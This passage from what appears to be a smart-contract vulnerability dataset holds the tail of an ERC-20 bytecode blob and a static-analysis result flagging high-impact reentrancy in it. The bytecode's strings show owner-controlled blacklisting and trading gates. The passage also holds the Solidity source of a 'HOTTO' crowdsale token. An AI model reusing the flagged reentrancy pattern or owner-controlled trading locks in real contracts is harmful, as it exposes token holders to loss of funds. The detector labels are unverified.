09054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610e816115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0590613440565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4e4f570000000000000000000000000000000000000000000000000000000000815250905090565b610f766115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611003576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffa90613440565b60405180910390fd5b8060188190555050565b6110156115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109990613440565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110d86110d16115fd565b84846117d0565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111436115fd565b73ffffffffffffffffffffffffffffffffffffffff1614806111b95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a16115fd565b73ffffffffffffffffffffffffffffffffffffffff16145b6111c257600080fd5b60006111cd30610c07565b90506111d881612222565b50565b6111e36115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790613440565b60405180910390fd5b60005b8383905081101561130f578160056000868685818110611296576112956138d3565b5b90506020020160208101906112ab9190612d14565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113079061382c565b915050611273565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113a46115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890613440565b60405180910390fd5b8060178190555050565b6114436115fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c790613440565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611537906133a0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c906134c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dc906133c0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117c391906134e0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183790613480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a790613320565b60405180910390fd5b600081116118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea90613460565b60405180910390fd5b6118fb610e50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119695750611939610e50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d5457601560149054906101000a900460ff166119f85761198a610e50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ee90613340565b60405180910390fd5b5b601654811115611a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3490613380565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ae15750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b17906133e0565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bcd5760175481611b8284610c07565b611b8c9190613616565b10611bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc3906134a0565b60405180910390fd5b5b6000611bd830610c07565b9050600060185482101590506016548210611bf35760165491505b808015611c0b575060158054906101000a900460ff16155b8015611c655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7d5750601560169054906101000a900460ff165b8015611cd35750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d295750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d5157611d3782612222565b60004790506000811115611d4f57611d4e476120b9565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dfb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611eae5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ead5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ebc5760009050612043565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f675750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f7f57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561202a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561204257600a54600c81905550600b54600d819055505b5b61204f848484846124a8565b50505050565b600083831115829061209d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209491906132fe565b60405180910390fd5b50600083856120ac91906136f7565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121096002846124d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612134573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121856002846124d590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b0573d6000803e3d6000fd5b5050565b60006006548211156121fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f290613360565b60405180910390fd5b600061220561251f565b905061221a81846124d590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561225957612258613902565b5b6040519080825280602002602001820160405280156122875781602001602082028036833780820191505090505b509050308160008151811061229f5761229e6138d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234157600080fd5b505afa158015612355573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123799190612d41565b8160018151811061238d5761238c6138d3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123f430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611605565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124589594939291906134fb565b600060405180830381600087803b15801561247257600080fd5b505af1158015612486573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124b6576124b561254a565b5b6124c184848461258d565b806124cf576124ce612758565b5b50505050565b600061251783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061276c565b905092915050565b600080600061252c6127cf565b9150915061254381836124d590919063ffffffff16565b9250505090565b6000600c5414801561255e57506000600d54145b156125685761258b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061259f8761282b565b9550955095509550955095506125fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128dd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126de8161293b565b6126e884836129f8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161274591906134e0565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa91906132fe565b60405180910390fd5b50600083856127c2919061366c565b9050809150509392505050565b600080600060065490506000662386f26fc100009050612801662386f26fc100006006546124d590919063ffffffff16565b82101561281e57600654662386f26fc10000935093505050612827565b81819350935050505b9091565b60008060008060008060008060006128488a600c54600d54612a32565b925092509250600061285861251f565b9050600080600061286b8e878787612ac8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612055565b905092915050565b60008082846128ec9190613616565b905083811015612931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292890613400565b60405180910390fd5b8091505092915050565b600061294561251f565b9050600061295c8284612b5190919063ffffffff16565b90506129b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128dd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a0d8260065461289390919063ffffffff16565b600681905550612a28816007546128dd90919063ffffffff16565b6007819055505050565b600080600080612a5e6064612a50888a612b5190919063ffffffff16565b6124d590919063ffffffff16565b90506000612a886064612a7a888b612b5190919063ffffffff16565b6124d590919063ffffffff16565b90506000612ab182612aa3858c61289390919063ffffffff16565b61289390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ae18589612b5190919063ffffffff16565b90506000612af88689612b5190919063ffffffff16565b90506000612b0f8789612b5190919063ffffffff16565b90506000612b3882612b2a858761289390919063ffffffff16565b61289390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b645760009050612bc6565b60008284612b72919061369d565b9050828482612b81919061366c565b14612bc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bb890613420565b60405180910390fd5b809150505b92915050565b6000612bdf612bda84613595565b613570565b90508083825260208201905082856020860282011115612c0257612c0161393b565b5b60005b85811015612c325781612c188882612c3c565b845260208401935060208301925050600181019050612c05565b5050509392505050565b600081359050612c4b81613d3b565b92915050565b600081519050612c6081613d3b565b92915050565b60008083601f840112612c7c57612c7b613936565b5b8235905067ffffffffffffffff811115612c9957612c98613931565b5b602083019150836020820283011115612cb557612cb461393b565b5b9250929050565b600082601f830112612cd157612cd0613936565b5b8135612ce1848260208601612bcc565b91505092915050565b600081359050612cf981613d52565b92915050565b600081359050612d0e81613d69565b92915050565b600060208284031215612d2a57612d29613945565b5b6000612d3884828501612c3c565b91505092915050565b600060208284031215612d5757612d56613945565b5b6000612d6584828501612c51565b91505092915050565b60008060408385031215612d8557612d84613945565b5b6000612d9385828601612c3c565b9250506020612da485828601612c3c565b9150509250929050565b600080600060608486031215612dc757612dc6613945565b5b6000612dd586828701612c3c565b9350506020612de686828701612c3c565b9250506040612df786828701612cff565b9150509250925092565b60008060408385031215612e1857612e17613945565b5b6000612e2685828601612c3c565b9250506020612e3785828601612cff565b9150509250929050565b600080600060408486031215612e5a57612e59613945565b5b600084013567ffffffffffffffff811115612e7857612e77613940565b5b612e8486828701612c66565b93509350506020612e9786828701612cea565b9150509250925092565b600060208284031215612eb757612eb6613945565b5b600082013567ffffffffffffffff811115612ed557612ed4613940565b5b612ee184828501612cbc565b91505092915050565b600060208284031215612f0057612eff613945565b5b6000612f0e84828501612cea565b91505092915050565b600060208284031215612f2d57612f2c613945565b5b6000612f3b84828501612cff565b91505092915050565b60008060008060808587031215612f5e57612f5d613945565b5b6000612f6c87828801612cff565b9450506020612f7d87828801612cff565b9350506040612f8e87828801612cff565b9250506060612f9f87828801612cff565b91505092959194509250565b6000612fb78383612fc3565b60208301905092915050565b612fcc8161372b565b82525050565b612fdb8161372b565b82525050565b6000612fec826135d1565b612ff681856135f4565b9350613001836135c1565b8060005b838110156130325781516130198882612fab565b9750613024836135e7565b925050600181019050613005565b5085935050505092915050565b6130488161373d565b82525050565b61305781613780565b82525050565b61306681613792565b82525050565b6000613077826135dc565b6130818185613605565b93506130918185602086016137c8565b61309a8161394a565b840191505092915050565b60006130b2602383613605565b91506130bd8261395b565b604082019050919050565b60006130d5603f83613605565b91506130e0826139aa565b604082019050919050565b60006130f8602a83613605565b9150613103826139f9565b604082019050919050565b600061311b601c83613605565b915061312682613a48565b602082019050919050565b600061313e602683613605565b915061314982613a71565b604082019050919050565b6000613161602283613605565b915061316c82613ac0565b604082019050919050565b6000613184602383613605565b915061318f82613b0f565b604082019050919050565b60006131a7601b83613605565b91506131b282613b5e565b602082019050919050565b60006131ca602183613605565b91506131d582613b87565b604082019050919050565b60006131ed602083613605565b91506131f882613bd6565b602082019050919050565b6000613210602983613605565b915061321b82613bff565b604082019050919050565b6000613233602583613605565b915061323e82613c4e565b604082019050919050565b6000613256602383613605565b915061326182613c9d565b604082019050919050565b6000613279602483613605565b915061328482613cec565b604082019050919050565b61329881613769565b82525050565b6132a781613773565b82525050565b60006020820190506132c26000830184612fd2565b92915050565b60006020820190506132dd600083018461303f565b92915050565b60006020820190506132f8600083018461304e565b92915050565b60006020820190508181036000830152613318818461306c565b905092915050565b60006020820190508181036000830152613339816130a5565b9050919050565b60006020820190508181036000830152613359816130c8565b9050919050565b60006020820190508181036000830152613379816130eb565b9050919050565b600060208201905081810360008301526133998161310e565b9050919050565b600060208201905081810360008301526133b981613131565b9050919050565b600060208201905081810360008301526133d981613154565b9050919050565b600060208201905081810360008301526133f981613177565b9050919050565b600060208201905081810360008301526134198161319a565b9050919050565b60006020820190508181036000830152613439816131bd565b9050919050565b60006020820190508181036000830152613459816131e0565b9050919050565b6000602082019050818103600083015261347981613203565b9050919050565b6000602082019050818103600083015261349981613226565b9050919050565b600060208201905081810360008301526134b981613249565b9050919050565b600060208201905081810360008301526134d98161326c565b9050919050565b60006020820190506134f5600083018461328f565b92915050565b600060a082019050613510600083018861328f565b61351d602083018761305d565b818103604083015261352f8186612fe1565b905061353e6060830185612fd2565b61354b608083018461328f565b9695505050505050565b600060208201905061356a600083018461329e565b92915050565b600061357a61358b565b905061358682826137fb565b919050565b6000604051905090565b600067ffffffffffffffff8211156135b0576135af613902565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061362182613769565b915061362c83613769565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561366157613660613875565b5b828201905092915050565b600061367782613769565b915061368283613769565b925082613692576136916138a4565b5b828204905092915050565b60006136a882613769565b91506136b383613769565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136ec576136eb613875565b5b828202905092915050565b600061370282613769565b915061370d83613769565b9250828210156137205761371f613875565b5b828203905092915050565b600061373682613749565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061378b826137a4565b9050919050565b600061379d82613769565b9050919050565b60006137af826137b6565b9050919050565b60006137c182613749565b9050919050565b60005b838110156137e65780820151818401526020810190506137cb565b838111156137f5576000848401525b50505050565b6138048261394a565b810181811067ffffffffffffffff8211171561382357613822613902565b5b80604052505050565b600061383782613769565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561386a57613869613875565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d448161372b565b8114613d4f57600080fd5b50565b613d5b8161373d565b8114613d6657600080fd5b50565b613d7281613769565b8114613d7d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4a97236ae36838b49fcc30c2b813f6049121747d944e2da5b3eccf37f4fb80c64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
5,623
0x0107d006806d07d32efe5fad1c68b7b63b90e08c
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 1000*10**18; uint256 public constant basePrice = 10*10**18; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 1000*10**18; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title HOTTO OFFICIAL * @dev Contract to create the HOTTO OFFICIAL **/ contract HOTTO is CrowdsaleToken { string public constant name = "HOTTO"; string public constant symbol = "HTO"; uint32 public constant decimals = 18; }
